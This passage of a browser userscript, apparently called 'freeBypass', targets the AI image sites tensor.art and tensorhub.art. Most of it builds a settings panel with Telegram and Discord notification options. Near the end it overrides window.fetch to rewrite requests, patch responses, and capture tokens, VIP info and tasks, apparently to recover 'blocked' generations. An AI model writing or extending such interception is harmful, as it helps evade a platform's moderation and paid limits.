cachingLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const cachingInput = document.createElement('input');
cachingInput.type = 'checkbox';
cachingInput.checked = settings.cachingEnabled;
cachingInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
cachingInput.onchange = () => {
const newValue = cachingInput.checked;
if (!newValue) {
const confirmed = confirm('⚠️ Warning: Disabling cache can cause performance issues and increase API requests.\n\nAre you sure you want to disable caching?');
if (!confirmed) {
cachingInput.checked = true;
return;
}
}
settings.cachingEnabled = newValue;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
cachingLabel.appendChild(cachingInput);
cachingLabel.appendChild(document.createTextNode('Enable URL Caching'));
section.appendChild(cachingLabel);
// Cache Duration (conditional)
if (settings.cachingEnabled) {
const cacheGroup = document.createElement('div');
cacheGroup.className = 'flex flex-col gap-8';
const cacheLabel = document.createElement('label');
cacheLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
cacheLabel.innerHTML = '<i class="fas fa-hourglass"></i> Cache Duration (Days)';
const cacheInput = document.createElement('input');
cacheInput.type = 'number';
cacheInput.id = 'bypass-settings-cache-duration';
cacheInput.name = 'cacheDuration';
cacheInput.min = '1';
cacheInput.max = '30';
cacheInput.value = settings.cacheDuration;
cacheInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
cacheInput.onclick = (e) => e.stopPropagation();
cacheInput.onchange = () => {
settings.cacheDuration = Math.max(1, parseInt(cacheInput.value) || 7);
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
cacheGroup.appendChild(cacheLabel);
cacheGroup.appendChild(cacheInput);
section.appendChild(cacheGroup);
}
// Telegram toggle
const telegramLabel = document.createElement('label');
telegramLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const telegramInput = document.createElement('input');
telegramInput.type = 'checkbox';
telegramInput.checked = settings.telegramEnabled;
telegramInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
telegramInput.onchange = () => {
settings.telegramEnabled = telegramInput.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
injectSettingsIntoPage(true); // Refresh to show/hide Telegram fields
};
telegramLabel.appendChild(telegramInput);
telegramLabel.appendChild(document.createTextNode('Enable Telegram Notifications'));
section.appendChild(telegramLabel);
// Telegram Token (conditional)
if (settings.telegramEnabled) {
const tgTokenGroup = document.createElement('div');
tgTokenGroup.className = 'flex flex-col gap-8';
const tgTokenLabel = document.createElement('label');
tgTokenLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
tgTokenLabel.innerHTML = '<i class="fab fa-telegram"></i> Bot Token';
const tgTokenInput = document.createElement('input');
tgTokenInput.id = 'bypass-settings-tg-token';
tgTokenInput.name = 'telegramToken';
tgTokenInput.type = 'password';
tgTokenInput.placeholder = 'Enter your Telegram bot token';
tgTokenInput.value = settings.telegramToken;
tgTokenInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
tgTokenInput.onclick = (e) => e.stopPropagation();
tgTokenInput.onchange = () => {
settings.telegramToken = tgTokenInput.value;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
tgTokenGroup.appendChild(tgTokenLabel);
tgTokenGroup.appendChild(tgTokenInput);
section.appendChild(tgTokenGroup);
const tgDelayGroup = document.createElement('div');
tgDelayGroup.className = 'flex flex-col gap-8';
const tgDelayLabel = document.createElement('label');
tgDelayLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
tgDelayLabel.innerHTML = '<i class="fas fa-stopwatch"></i> Telegram Delay (seconds)';
const tgDelayInput = document.createElement('input');
tgDelayInput.type = 'number';
tgDelayInput.min = '0';
tgDelayInput.max = '30';
tgDelayInput.step = '1';
tgDelayInput.value = settings.telegramDelaySeconds || 0;
tgDelayInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
tgDelayInput.onclick = (e) => e.stopPropagation();
tgDelayInput.onchange = () => {
settings.telegramDelaySeconds = Math.max(0, parseInt(tgDelayInput.value, 10) || 0);
saveSettings();
};
tgDelayGroup.appendChild(tgDelayLabel);
tgDelayGroup.appendChild(tgDelayInput);
section.appendChild(tgDelayGroup);
// Telegram status dialog (success/error messages)
const tgStatus = document.createElement('div');
tgStatus.id = 'bypass-tg-status';
tgStatus.style.cssText = `
padding: 10px 12px;
border: 1px solid #475569;
border-radius: 8px;
background: rgba(30, 41, 59, 0.6);
color: #e2e8f0;
font-size: 12px;
line-height: 1.5;
`;
tgStatus.textContent = settings.telegramChatId
? 'Telegram is configured. You can remove Chat ID to re-initialize.'
: 'To initialize: open your bot chat, send /access, then click “Initialize Telegram”.';
section.appendChild(tgStatus);
// Chat ID input (injected when missing; readonly when present)
const chatIdGroup = document.createElement('div');
chatIdGroup.className = 'flex flex-col gap-8';
const chatIdLabel = document.createElement('label');
chatIdLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
chatIdLabel.innerHTML = '<i class="fas fa-hashtag"></i> Chat ID';
const chatIdInput = document.createElement('input');
chatIdInput.id = 'bypass-settings-chat-id';
chatIdInput.name = 'chatId';
chatIdInput.type = 'text';
chatIdInput.placeholder = 'Chat ID will appear here after initialization (or paste manually)';
chatIdInput.value = settings.telegramChatId || '';
chatIdInput.disabled = !!settings.telegramChatId;
chatIdInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
${settings.telegramChatId ? 'opacity: 0.7; cursor: not-allowed;' : ''}
`;
chatIdInput.onclick = (e) => e.stopPropagation();
chatIdInput.onchange = () => {
if (settings.telegramChatId) return;
settings.telegramChatId = chatIdInput.value.trim();
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
tgStatus.textContent = settings.telegramChatId
? `Chat ID saved manually: ${settings.telegramChatId}`
: 'Chat ID cleared.';
};
chatIdGroup.appendChild(chatIdLabel);
// Inject input only when no chat id OR show readonly when set (matches request)
chatIdGroup.appendChild(chatIdInput);
section.appendChild(chatIdGroup);
// Buttons row: Initialize + Uninitialize
const tgBtnRow = document.createElement('div');
tgBtnRow.style.cssText = 'display: flex; gap: 10px; width: 100%; flex-wrap: wrap;';
const initBtn = createTensorButton('Initialize Telegram', 'primary');
initBtn.onclick = async () => {
const botToken = (settings.telegramToken || '').trim();
if (!botToken) {
tgStatus.textContent = 'Please enter Bot Token first.';
return;
}
initBtn.disabled = true;
tgStatus.textContent = '⏳ Waiting for /access... (checking getUpdates)';
try {
let chatId = null;
let attempts = 0;
const accessCommand = '/access';
while (!chatId && attempts < 60) {
const response = await fetch(`https://api.telegram.org/bot${botToken}/getUpdates`);
const data = await response.json();
const updates = Array.isArray(data.result) ? data.result : [];
for (let i = updates.length - 1; i >= 0; i--) {
const update = updates[i];
const msg = update && update.message;
const text = msg && typeof msg.text === 'string' ? msg.text.trim() : '';
if (text === accessCommand && msg.chat && msg.chat.id) {
chatId = String(msg.chat.id);
break;
}
}
if (!chatId) {
await new Promise(r => setTimeout(r, 1000));
attempts++;
}
}
if (chatId) {
settings.telegramChatId = chatId;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
tgStatus.textContent = `Success. Chat ID: ${chatId}`;
injectSettingsIntoPage(true);
} else {
tgStatus.textContent = 'Timeout: No /access command received. Send /access to your bot chat, then try again.';
}
} catch (err) {
tgStatus.textContent = `Error: ${err.message}`;
} finally {
initBtn.disabled = false;
}
};
tgBtnRow.appendChild(initBtn);
if (settings.telegramChatId) {
const removeBtn = createTensorButton('Remove Chat ID', 'error');
removeBtn.onclick = () => {
settings.telegramChatId = '';
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
tgStatus.textContent = 'Chat ID removed. You can re-initialize by sending /access then clicking Initialize.';
injectSettingsIntoPage(true);
};
tgBtnRow.appendChild(removeBtn);
}
section.appendChild(tgBtnRow);
}
// Discord webhook section
const discordLabel = document.createElement('label');
discordLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; font-weight: 600; cursor: pointer; margin-top: 16px;';
const discordCheckbox = document.createElement('input');
discordCheckbox.type = 'checkbox';
discordCheckbox.checked = settings.discordEnabled;
discordCheckbox.style.cssText = 'width: 18px; height: 18px; cursor: pointer;';
discordCheckbox.onclick = (e) => e.stopPropagation();
discordCheckbox.onchange = () => {
settings.discordEnabled = discordCheckbox.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
injectSettingsIntoPage(true);
};
discordLabel.appendChild(discordCheckbox);
discordLabel.appendChild(document.createTextNode('Enable Discord Webhooks'));
section.appendChild(discordLabel);
if (settings.discordEnabled) {
const webhookGroup = document.createElement('div');
webhookGroup.className = 'flex flex-col gap-8';
const webhookLabel = document.createElement('label');
webhookLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
webhookLabel.innerHTML = '<i class="fab fa-discord" style="color: #5865f2;"></i> Webhook URL';
const webhookInput = document.createElement('input');
webhookInput.id = 'bypass-settings-discord-webhook';
webhookInput.name = 'discordWebhook';
webhookInput.type = 'password';
webhookInput.placeholder = 'https://discord.com/api/webhooks/...';
webhookInput.value = settings.discordWebhook;
webhookInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
webhookInput.onclick = (e) => e.stopPropagation();
webhookInput.onchange = () => {
settings.discordWebhook = webhookInput.value.trim();
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
webhookGroup.appendChild(webhookLabel);
webhookGroup.appendChild(webhookInput);
const webhookHelp = document.createElement('div');
webhookHelp.style.cssText = `
padding: 10px 12px;
border: 1px solid #475569;
border-radius: 8px;
background: rgba(30, 41, 59, 0.6);
color: #e2e8f0;
font-size: 12px;
line-height: 1.5;
margin-top: 8px;
`;
webhookHelp.innerHTML = `
<strong>How to get your Discord webhook:</strong><br>
1. Go to Server Settings → Integrations → Webhooks<br>
2. Click "New Webhook" or edit an existing one<br>
3. Copy the Webhook URL and paste it above
`;
webhookGroup.appendChild(webhookHelp);
section.appendChild(webhookGroup);
}
// ============================================================================
// SETTINGS MANAGEMENT SECTION (Export/Import/Profiles)
// ============================================================================
const settingsMgmtSection = document.createElement('div');
settingsMgmtSection.style.cssText = 'margin-top: 24px; padding-top: 24px; border-top: 1px solid #475569;';
const mgmtTitle = document.createElement('h3');
mgmtTitle.style.cssText = 'font-weight: 600; font-size: 16px; margin-bottom: 16px; color: #cbd5e1;';
mgmtTitle.innerHTML = '<i class="fas fa-folder"></i> Settings Management';
settingsMgmtSection.appendChild(mgmtTitle);
// Export/Import Row
const exportImportRow = document.createElement('div');
exportImportRow.style.cssText = 'display: flex; gap: 12px; margin-bottom: 20px;';
const exportBtn = createTensorButton('<i class="fas fa-file-export"></i> Export Settings', 'primary');
exportBtn.style.flex = '1';
exportBtn.onclick = () => exportSettings();
const importBtn = createTensorButton('<i class="fas fa-file-import"></i> Import Settings', 'default');
importBtn.style.flex = '1';
importBtn.onclick = () => importSettings();
exportImportRow.appendChild(exportBtn);
exportImportRow.appendChild(importBtn);
settingsMgmtSection.appendChild(exportImportRow);
// Settings Profiles
const profilesTitle = document.createElement('h4');
profilesTitle.style.cssText = 'font-weight: 600; font-size: 14px; margin-bottom: 12px; color: #cbd5e1;';
profilesTitle.innerHTML = '<i class="fas fa-layer-group"></i> Settings Profiles';
settingsMgmtSection.appendChild(profilesTitle);
const profilesHelp = document.createElement('div');
profilesHelp.style.cssText = `
padding: 10px 12px;
border-radius: 6px;
background: rgba(51, 65, 85, 0.4);
font-size: 12px;
color: #cbd5e1;
line-height: 1.5;
margin-bottom: 12px;
`;
profilesHelp.innerHTML = '<i class="fas fa-info-circle"></i> Save and switch between different setting configurations.';
settingsMgmtSection.appendChild(profilesHelp);
const profilesList = document.createElement('div');
profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 8px; margin-bottom: 12px;';
const savedProfiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
const currentProfileName = localStorage.getItem('freeBypassCurrentProfile') || 'Default';
Object.keys(savedProfiles).forEach(profileName => {
const profileRow = document.createElement('div');
profileRow.style.cssText = `
display: flex;
gap: 8px;
align-items: center;
padding: 10px;
background: ${profileName === currentProfileName ? 'rgba(99, 102, 241, 0.15)' : '#1e293b'};
border: 1px solid ${profileName === currentProfileName ? '#6366f1' : '#475569'};
border-radius: 8px;
`;
const nameEl = document.createElement('div');
nameEl.style.cssText = 'flex: 1; font-size: 14px; color: #f1f5f9; font-weight: ' + (profileName === currentProfileName ? '600' : '400') + ';';
nameEl.textContent = profileName + (profileName === currentProfileName ? ' (Active)' : '');
const loadBtn = createTensorButton('Load', 'default');
loadBtn.style.flex = '0';
loadBtn.style.padding = '4px 12px';
loadBtn.style.fontSize = '12px';
loadBtn.disabled = profileName === currentProfileName;
loadBtn.onclick = () => loadSettingsProfile(profileName);
const deleteBtn = createTensorButton('<i class="fas fa-trash"></i>', 'error');
deleteBtn.style.flex = '0';
deleteBtn.style.padding = '4px 10px';
deleteBtn.style.fontSize = '12px';
deleteBtn.onclick = () => deleteSettingsProfile(profileName);
profileRow.appendChild(nameEl);
profileRow.appendChild(loadBtn);
profileRow.appendChild(deleteBtn);
profilesList.appendChild(profileRow);
});
settingsMgmtSection.appendChild(profilesList);
const saveProfileBtn = createTensorButton('<i class="fas fa-save"></i> Save Current as New Profile', 'primary');
saveProfileBtn.onclick = () => saveSettingsProfile();
settingsMgmtSection.appendChild(saveProfileBtn);
section.appendChild(settingsMgmtSection);
// Auto task detection toggle
const autoTaskLabel = document.createElement('label');
autoTaskLabel.style.cssText = 'display: flex; align-items: center; gap: 8px; font-weight: 600; cursor: pointer; margin-top: 16px;';
const autoTaskCheckbox = document.createElement('input');
autoTaskCheckbox.type = 'checkbox';
autoTaskCheckbox.checked = settings.autoTaskDetection;
autoTaskCheckbox.style.cssText = 'width: 18px; height: 18px; cursor: pointer;';
autoTaskCheckbox.onclick = (e) => e.stopPropagation();
autoTaskCheckbox.onchange = () => {
settings.autoTaskDetection = autoTaskCheckbox.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (settings.autoTaskDetection) {
startTaskMonitoring();
} else {
stopTaskMonitoring();
}
};
autoTaskLabel.appendChild(autoTaskCheckbox);
autoTaskLabel.appendChild(document.createTextNode('Auto-detect blocked tasks'));
const autoTaskHelp = document.createElement('div');
autoTaskHelp.style.cssText = `
margin-left: 26px;
padding: 8px;
font-size: 12px;
color: #cbd5e1;
font-style: italic;
`;
autoTaskHelp.textContent = 'Automatically adds blocked items when generation completes (no refresh needed)';
section.appendChild(autoTaskLabel);
section.appendChild(autoTaskHelp);
// ============================================================================
// TENSORHUB INTEGRATION SECTION
// ============================================================================
const { section: tensorhubSection, content: tensorhubContent } = createCollapsibleSection('TensorHub Integration', 'fa-link', false);
section.appendChild(tensorhubSection);
// Enable TensorHub Linker
const tensorhubEnabledLabel = document.createElement('label');
tensorhubEnabledLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const tensorhubEnabledCheckbox = document.createElement('input');
tensorhubEnabledCheckbox.type = 'checkbox';
tensorhubEnabledCheckbox.checked = settings.tensorhubLinkerEnabled;
tensorhubEnabledCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
tensorhubEnabledCheckbox.onchange = () => {
settings.tensorhubLinkerEnabled = tensorhubEnabledCheckbox.checked;
saveSettings();
injectSettingsIntoPage(true);
};
tensorhubEnabledLabel.appendChild(tensorhubEnabledCheckbox);
tensorhubEnabledLabel.appendChild(document.createTextNode('Enable TensorHub Linker'));
tensorhubContent.appendChild(tensorhubEnabledLabel);
const tensorhubInfo = document.createElement('div');
tensorhubInfo.style.cssText = `
padding: 10px 12px;
border-radius: 6px;
background: rgba(51, 65, 85, 0.4);
font-size: 12px;
color: #cbd5e1;
line-height: 1.5;
margin: 12px 0;
`;
tensorhubInfo.innerHTML = '<i class="fas fa-info-circle"></i> Connect your TensorHub.art account to collect and sync tasks from both tensor.art and tensorhub.art domains.';
tensorhubContent.appendChild(tensorhubInfo);
if (settings.tensorhubLinkerEnabled) {
// Link Tokens
const linkTokensLabel = document.createElement('label');
linkTokensLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const linkTokensCheckbox = document.createElement('input');
linkTokensCheckbox.type = 'checkbox';
linkTokensCheckbox.checked = settings.tensorhubLinkTokens;
linkTokensCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
linkTokensCheckbox.onchange = () => {
settings.tensorhubLinkTokens = linkTokensCheckbox.checked;
saveSettings();
};
linkTokensLabel.appendChild(linkTokensCheckbox);
linkTokensLabel.appendChild(document.createTextNode('Link User Tokens'));
tensorhubContent.appendChild(linkTokensLabel);
// Link Tasks
const linkTasksLabel = document.createElement('label');
linkTasksLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const linkTasksCheckbox = document.createElement('input');
linkTasksCheckbox.type = 'checkbox';
linkTasksCheckbox.checked = settings.tensorhubLinkTasks;
linkTasksCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
linkTasksCheckbox.onchange = () => {
settings.tensorhubLinkTasks = linkTasksCheckbox.checked;
saveSettings();
};
linkTasksLabel.appendChild(linkTasksCheckbox);
linkTasksLabel.appendChild(document.createTextNode('Link Tasks (Manual)'));
tensorhubContent.appendChild(linkTasksLabel);
const linkTasksHelp = document.createElement('div');
linkTasksHelp.style.cssText = `
margin-left: 26px;
padding: 8px;
font-size: 12px;
color: #cbd5e1;
font-style: italic;
`;
linkTasksHelp.innerHTML = '<i class="fas fa-lightbulb"></i> Visit tensorhub.art creation page and reload to manually save cached tasks. View all collected tasks in the Data Control tab.';
tensorhubContent.appendChild(linkTasksHelp);
// Run on TensorHub
const runTensorhubLabel = document.createElement('label');
runTensorhubLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const runTensorhubCheckbox = document.createElement('input');
runTensorhubCheckbox.type = 'checkbox';
runTensorhubCheckbox.checked = settings.runOnTensorhub;
runTensorhubCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
runTensorhubCheckbox.onchange = () => {
settings.runOnTensorhub = runTensorhubCheckbox.checked;
saveSettings();
if (settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
window.location.reload();
}
};
runTensorhubLabel.appendChild(runTensorhubCheckbox);
runTensorhubLabel.appendChild(document.createTextNode('Run on TensorHub'));
tensorhubContent.appendChild(runTensorhubLabel);
const runTensorhubHelp = document.createElement('div');
runTensorhubHelp.style.cssText = `
margin-left: 26px;
padding: 8px;
font-size: 12px;
color: #cbd5e1;
font-style: italic;
`;
runTensorhubHelp.innerHTML = '<i class="fas fa-rocket"></i> Enable full functionality on tensorhub.art domain including floating panel, direct links, and task detection.';
tensorhubContent.appendChild(runTensorhubHelp);
// Share Settings checkbox
const shareSettingsLabel = document.createElement('label');
shareSettingsLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const shareSettingsCheckbox = document.createElement('input');
shareSettingsCheckbox.type = 'checkbox';
shareSettingsCheckbox.checked = settings.tensorhubShareSettings || false;
shareSettingsCheckbox.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
shareSettingsCheckbox.onchange = () => {
settings.tensorhubShareSettings = shareSettingsCheckbox.checked;
saveSettings();
if (settings.tensorhubShareSettings) {
syncSettingsAcrossDomains();
}
};
shareSettingsLabel.appendChild(shareSettingsCheckbox);
shareSettingsLabel.appendChild(document.createTextNode('Share Settings Across Domains'));
tensorhubContent.appendChild(shareSettingsLabel);
const shareHelp = document.createElement('div');
shareHelp.style.cssText = `
margin-left: 26px;
padding: 8px;
font-size: 12px;
color: #cbd5e1;
font-style: italic;
`;
shareHelp.innerHTML = '<i class="fas fa-sync"></i> Automatically sync settings between tensor.art and tensorhub.art domains (excluding tokens/webhooks).';
tensorhubContent.appendChild(shareHelp);
// Sync status
const syncStatusDiv = document.createElement('div');
syncStatusDiv.id = 'tensorhub-sync-status';
syncStatusDiv.style.cssText = `
padding: 10px 12px;
border-radius: 6px;
background: rgba(34, 197, 94, 0.1);
border-left: 3px solid #22c55e;
font-size: 12px;
color: #86efac;
margin: 12px 0;
`;
syncStatusDiv.innerHTML = '<i class="fas fa-check-circle"></i> TensorHub Linker is ready. Tasks will sync when you visit tensorhub.art.';
tensorhubContent.appendChild(syncStatusDiv);
}
// Network Headers section intentionally hidden on settings page for safety.
// Append to settings container
settingsContainer.appendChild(section);
settingsInjected = true;
}
function startSettingsPageCheck() {
if (settingsCheckInterval) clearInterval(settingsCheckInterval);
settingsCheckInterval = setInterval(() => {
try {
injectSettingsIntoPage();
} catch (e) {
console.error('Settings injection error:', e);
}
}, 500);
}
function stopSettingsPageCheck() {
if (settingsCheckInterval) {
clearInterval(settingsCheckInterval);
settingsCheckInterval = null;
}
}
initTensorSiteRequestListeners();
// Intercept fetch (Tensor-only)
if (IS_TENSOR_DOMAIN) window.fetch = async function (...args) {
const request = args[0];
const tokenHint = extractTensorTokenFromRequest(args[0], args[1]);
const rewritten = await rewriteTensorFetchArguments(args, 'sandbox-fetch');
const fetchUrl = rewritten.fetchUrl || getInterceptedRequestUrl(request);
const response = await originalFetch.apply(this, rewritten.args);
const patchedResult = await patchTensorFetchResponseIfNeeded(response, fetchUrl, 'sandbox-fetch');
let activeResponse = patchedResult.response || response;
processTensorObservedResponse(fetchUrl, activeResponse, tokenHint).catch(() => {});
processTensorObservedTaskResponse(fetchUrl, activeResponse).catch(() => {});
// TensorHub API interception (when on tensorhub.art and enabled)
const isTensorhubTasksEndpoint = fetchUrl.includes('api.tensorhub.art/works/v1/works/tasks/query');
const isTensorhubVipEndpoint = fetchUrl.includes('api.tensorhub.art/vip/v1/user/vip-info');
if (isTensorhubVipEndpoint && settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
try {
const clonedResponse = activeResponse.clone();
const body = await clonedResponse.json();
if (body.data) {
// Store tensorhub VIP info
localStorage.setItem('freeBypassTensorhubVipInfo', JSON.stringify(body.data));
console.log('[TensorHub] Captured VIP info');
}
} catch (e) {
console.warn('[TensorHub] Failed to parse VIP response', e);
}
}
if (isTensorhubTasksEndpoint && settings.runOnTensorhub && window.location.hostname === 'tensorhub.art') {
try {
const clonedResponse = activeResponse.clone();
const body = await clonedResponse.json();
if (body.data?.tasks && Array.isArray(body.data.tasks)) {
// Process tensorhub tasks
for (const task of body.data.tasks) {
// Check if already cached
if (!taskMap.has(task.id)) {
const taskWithSource = {
...task,
source: 'tensorhub.art',
recordedAt: Date.now()
};
taskMap.set(task.id, taskWithSource);
recordTaskData(taskWithSource);
// Cache to localStorage
try {
const cached = JSON.parse(localStorage.getItem(CACHED_TASKS_KEY) || '{}');
cached[task.id] = taskWithSource;
localStorage.setItem(CACHED_TASKS_KEY, JSON.stringify(cached));
} catch (e) {
console.error('[TensorHub] Cache error', e);
}
}
}
console.log('[TensorHub] Processed', body.data.tasks.length, 'tasks');
}
} catch (e) {
console.warn('[TensorHub] Failed to process tasks response', e);
}
}
return activeResponse;
};
// ============================================================================
// SETTINGS MANAGEMENT FUNCTIONS
// ============================================================================
const SENSITIVE_SETTINGS_KEYS = new Set(['headers', 'telegramToken', 'telegramChatId', 'discordWebhook']);
function deepCloneValue(value) {
if (value == null) return value;
try {
// structuredClone is available in modern browsers.
if (typeof structuredClone === 'function') return structuredClone(value);
} catch {
// ignore
}
try {
return JSON.parse(JSON.stringify(value));
} catch {
// Last resort: return as-is (should be fine for primitives)
return value;
}
}
function buildSettingsAllowList() {
return Object.keys(defaultSettings).filter(k => !SENSITIVE_SETTINGS_KEYS.has(k));
}
function sanitizeImportedSettings(rawSettings) {
const input = rawSettings && typeof rawSettings === 'object' ? rawSettings : {};
const allow = buildSettingsAllowList();
const out = {};
const skipped = [];
const isPlainObject = (v) => v && typeof v === 'object' && !Array.isArray(v);
for (const key of allow) {
if (!(key in input)) continue;
const incoming = input[key];
const def = defaultSettings[key];
// Preserve array/object shapes for known nested objects.
if (key === 'position' && isPlainObject(incoming)) {
out.position = { ...defaultSettings.position, ...incoming };
continue;
}
if (key === 'telegramIncludeData' && isPlainObject(incoming)) {
out.telegramIncludeData = { ...defaultSettings.telegramIncludeData, ...incoming };
continue;
}
if (key === 'detailedInfoFields' && isPlainObject(incoming)) {
out.detailedInfoFields = { ...defaultSettings.detailedInfoFields, ...incoming };
continue;
}
// Arrays: accept only arrays.
if (Array.isArray(def)) {
if (Array.isArray(incoming)) {
out[key] = deepCloneValue(incoming);
} else {
skipped.push({ key, reason: 'Expected array' });
}
continue;
}
// Objects: accept only plain objects.
if (isPlainObject(def)) {
if (isPlainObject(incoming)) {
out[key] = deepCloneValue(incoming);
} else {
skipped.push({ key, reason: 'Expected object' });
}
continue;
}
// Primitives: basic type check.
if (typeof def === 'boolean') {
if (typeof incoming === 'boolean') out[key] = incoming;
else skipped.push({ key, reason: 'Expected boolean' });
continue;
}
if (typeof def === 'number') {
const n = Number(incoming);
if (Number.isFinite(n)) out[key] = n;
else skipped.push({ key, reason: 'Expected number' });
continue;
}
if (typeof def === 'string') {
if (typeof incoming === 'string') out[key] = incoming;
else skipped.push({ key, reason: 'Expected string' });
continue;
}
// Fallback: clone.
out[key] = deepCloneValue(incoming);
}
return { settings: out, skipped };
}
function diffSettings(before, after) {
const allow = buildSettingsAllowList();
const changes = [];
const norm = (v) => {
try {
return JSON.stringify(v);
} catch {
return String(v);
}
};
allow.forEach(k => {
const b = before?.[k];
const a = after?.[k];
if (norm(b) !== norm(a)) changes.push(k);
});
return changes;
}
function showSettingsImportConfirmDialog({ fileName, version, changes, skipped, onConfirm }) {
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `position:fixed; inset:0; z-index:10000006; background:${settings.inheritTheme ? 'var(--mask-primary, rgba(0,0,0,0.78))' : 'rgba(0,0,0,0.78)'}; backdrop-filter: blur(10px); display:flex; align-items:center; justify-content:center;`;
const dialog = document.createElement('div');
dialog.style.cssText = `width:92%; max-width:780px; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:16px; padding:18px; color:${colors.text}; box-shadow:0 30px 100px rgba(0,0,0,0.75); max-height:85vh; overflow:auto;`;
const changeList = (changes || []).slice(0, 120).map(k => `<li style="margin:4px 0; font-family:Consolas, 'Courier New', monospace;">${escapeHtml(k)}</li>`).join('');
const skippedList = (skipped || []).slice(0, 60).map(s => `<li style="margin:4px 0;"><span style="font-family:Consolas, 'Courier New', monospace;">${escapeHtml(s.key)}</span> — <span style="color:${colors.textSecondary};">${escapeHtml(s.reason)}</span></li>`).join('');
dialog.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:12px; margin-bottom:10px;">
<div style="font-weight:900; font-size:15px;"><i class="fas fa-file-import"></i> Import Settings</div>
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:6px 10px;" data-x><i class="fas fa-times"></i></button>
</div>
<div style="font-size:12px; color:${colors.textSecondary}; line-height:1.6;">
File: <strong>${escapeHtml(fileName || 'settings.json')}</strong><br>
Script version in file: <strong>${escapeHtml(version || 'unknown')}</strong>
</div>
<div style="margin-top:12px; padding:12px; border-radius:12px; border:1px solid ${colors.border}; background:${colors.bgSecondary};">
<div style="display:flex; flex-wrap:wrap; gap:10px; align-items:center; justify-content:space-between;">
<div style="font-weight:800; font-size:12px;">Summary</div>
<div style="font-size:11px; color:${colors.textSecondary};">Sensitive fields (tokens/webhooks/headers) are preserved and will <strong>not</strong> be imported.</div>
</div>
<div style="margin-top:6px; font-size:12px;">
<strong>${(changes || []).length}</strong> setting(s) will change.
${skipped && skipped.length ? ` <strong style=\"color:${colors.warning};\">${skipped.length}</strong> field(s) were skipped due to type mismatch.` : ''}
</div>
</div>
<details style="margin-top:12px; border:1px solid ${colors.border}; border-radius:12px; padding:10px 12px; background:${colors.bgSecondary};">
<summary style="cursor:pointer; font-weight:800; font-size:12px; color:${colors.text};">Changed keys</summary>
<ul style="margin:8px 0 0 0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${changeList || '<li>None</li>'}</ul>
</details>
${skipped && skipped.length ? `
<details style="margin-top:10px; border:1px solid ${colors.border}; border-radius:12px; padding:10px 12px; background:${colors.bgSecondary};">
<summary style="cursor:pointer; font-weight:800; font-size:12px; color:${colors.text};">Skipped keys</summary>
<ul style="margin:8px 0 0 0; padding-left:18px; font-size:12px; color:${colors.textSecondary};">${skippedList}</ul>
</details>
` : ''}
<div style="display:flex; gap:10px; justify-content:flex-end; margin-top:14px;">
<button class="bypass-btn bypass-btn-secondary" style="width:auto; padding:8px 12px;" data-cancel>Cancel</button>
<button class="bypass-btn bypass-btn-primary" style="width:auto; padding:8px 12px; font-weight:900;" data-ok>Import</button>
</div>
`;
const close = () => overlay.remove();
dialog.querySelector('[data-x]').onclick = close;
dialog.querySelector('[data-cancel]').onclick = close;
